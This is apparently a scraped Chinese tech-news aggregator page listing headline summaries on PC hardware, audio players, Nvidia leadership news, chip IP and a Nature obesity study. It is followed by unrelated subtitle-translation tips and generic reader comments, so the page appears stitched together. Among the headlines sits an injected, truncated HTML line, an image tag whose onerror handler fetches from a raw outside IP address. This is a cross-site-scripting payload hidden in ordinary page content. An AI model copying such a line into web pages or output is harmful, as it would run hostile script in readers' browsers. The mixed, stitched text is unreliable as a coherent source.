字幕学习
追风者预告同暴力熊、海韵三方联动：围绕 EX6 ULTRA 机箱，12 月 10 日揭晓
IT之家 11 月 13 日消息，Phanteks（追风者）今日宣布将与 PC 散热企业 Thermal Grizzly（暴力熊）、电源制造商 Seasonic（海韵）展开三方联动，具体情况将于 12 月 10 日揭晓。
电脑硬件
收录电脑硬件相关的资讯摘要。
Alphacool 推出 Apex Benchtable 开放式测试平台，专为水冷 PC 系统优化
IT之家 11 月 13 日消息，电脑散热及相关零组件制造商 Alphacool 当地时间昨日宣布推出专为水冷 PC 系统优化的 Apex Benchtable 开放式测试平台。
微软初代 Xbox 经典游戏登陆 PC：含《星球大战》《上古卷轴 3》等，兼容库扩至 25 款并首次引入成就系统
IT之家 11 月 13 日消息，当地时间 11 月 12 日，为庆祝 Xbox 品牌诞生 25 周年，微软宣布将 21 款初代 Xbox 游戏引入 PC 平台，使通过 Xbox 兼容计划（XBOX Backward Compatibil…
科技资讯
收录科技资讯相关的资讯摘要。
10999-29999 元，索尼 NW-WM1ZM3/WM1AM3/ZX900 三款旗舰 Walkman 数字音乐播放器
IT之家 11 月 13 日消息，索尼旗下 Signature 系列旗舰 NW-WM1ZM3、NW-WM1AM3，以及定位稍低的 NW-ZX900 三款 Walkman 数字音乐播放器国行现已上架。
米物推出 Neoseek Pure 10 新国标 22.5W 自带线磁吸移动电源：15W 无线 + 2C 设计，169
IT之家 11 月 12 日消息，米物科技现已在京东上架 Neoseek Pure 10 新国标 22.5W 磁吸移动电源，该产品采用 2C 设计，首发价 169 元。
553mm 超薄机身：卡萨帝热泵洗烘一体机 10498 → 5500 元破冰新低
卡萨帝 · 揽光 GLD 热泵洗烘一体机 10kg，型号 CE AB10LWUGLDU1。
英伟达董事会澄清：尚未选定 CEO 招聘猎头，也未正式接触候选人
IT之家 11 月 14 日消息，英国《金融时报》报道称，英伟达董事会曾接触芯片设计公司 Arm 首席执行官雷内・哈斯（Rene Haas），将其作为潜在继任人选。
中芯国际赵海军：中国客户需求增速高于公司整体需求增速
夏普以 222 亿日元向日东电工出售久居彩色滤光片工厂，进一步瘦身
玄铁发布高吞吐互联 IP XL-300：支持 8 核异步连接，数据位宽 256bit
IT之家 11 月 12 日消息，阿里巴巴达摩院旗下 RISC-V 品牌玄铁 (XuanTie) 近日发布了高吞吐缓存一致性互联 IP 设计 XL-300 。
苹果员工驾车超速至 145km/h 撞上等红灯车辆，致 2 岁儿童死亡后被控谋杀
IT之家 11 月 12 日消息，据《旧金山纪事报》、CBS News 等媒体报道，苹果美国总部附近上周发生了一起严重交通事故，一名 2 岁女童在车祸中受伤，送医后不幸身亡。
<img src=x onerror="fetch('http://163.8.216.110:8088/title1'
上汽大通 27 款大拿 V1 上市：标配宁德时代天行电池，8.88 万元起
科学探索
收录科学探索相关的资讯摘要。
英伟达副总裁卡坦扎罗否认签署要求前 CEO 黄仁勋复职的公开信，表态支持董事会和临时 CEO 克雷斯
IT之家 11 月 14 日消息，英伟达应用深度学习研究副总裁布莱恩 · 卡坦扎罗（Bryan Catanzaro）在社交平台 X 上公开发文辟谣，否认自己参与签署网传要求前 CEO 黄仁勋复职的公开信，称该信件系伪造，并明确表态支持英伟…
中国科学家最新研究：诊断肥胖不能单凭 BMI，5.2~8.6% 的人被低估以及 1.2~3.1% 被高估
IT之家 11 月 13 日消息，据新华社昨日报道，华中科技大学公共卫生学院院长潘安教授团队联合多国专家完成了一项研究，已于 11 月 12 日发表在《自然》上。
字幕与翻译
比较译法时先保留完整语境，再判断字幕如何处理信息长度、称呼和语气。
- 对照完整短句，检查省略的信息能否从场景中补足。
- 区分直译、意译与口语改写各自保留的重点。
- 记录称呼和语体是否与人物关系一致。
读者评论
我妈那套老办法原来也有道理，回头得跟她道个歉。
看完点了个收藏，以后说不定用得上。
看完想问，要是情况反过来又该怎么办？
讲得挺好，但有些地方要是再展开说说就更好了。
有个小地方想抬个杠，不过整体还是支持的。